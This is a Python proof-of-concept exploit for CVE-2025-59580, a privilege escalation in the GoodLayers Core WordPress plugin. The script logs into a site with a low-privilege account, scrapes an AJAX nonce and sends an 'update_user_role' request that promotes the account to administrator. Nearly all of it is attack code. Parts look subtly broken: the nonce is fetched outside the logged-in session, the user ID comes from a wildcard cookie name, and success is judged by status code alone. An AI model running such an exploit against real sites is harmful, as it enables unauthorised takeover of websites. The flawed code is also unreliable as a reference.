CVE-2025-59580

import requests import re # CVE-2025-59580 PoC - GoodLayers Core Privilege Escalation # Target: WordPress site with vulnerable Goodlayers Core plugin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_nonce(url): """Extract security nonce from the target page""" response = requests.get(url) nonce = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) return nonce.group(1) if nonce else None def exploit_privilege_escalation(): """Perform privilege escalation attack""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Get AJAX nonce nonce = get_nonce(f"{TARGET_URL}/wp-admin/admin.php?page=goodlayers-core-menu") # Step 3: Send malicious request to escalate privileges exploit_data = { 'action': 'goodlayers_core_ajax_action', 'nonce': nonce, 'operation': 'update_user_role', 'user_id': session.cookies.get_dict().get('wordpress_logged_in_*', ''), 'new_role': 'administrator' } response = session.post(f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data) print(f"Exploit response: {response.status_code}") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-59580 GoodLayers Core Privilege Escalation PoC") success = exploit_privilege_escalation() print(f"Exploitation {'successful' if success else 'failed'}")

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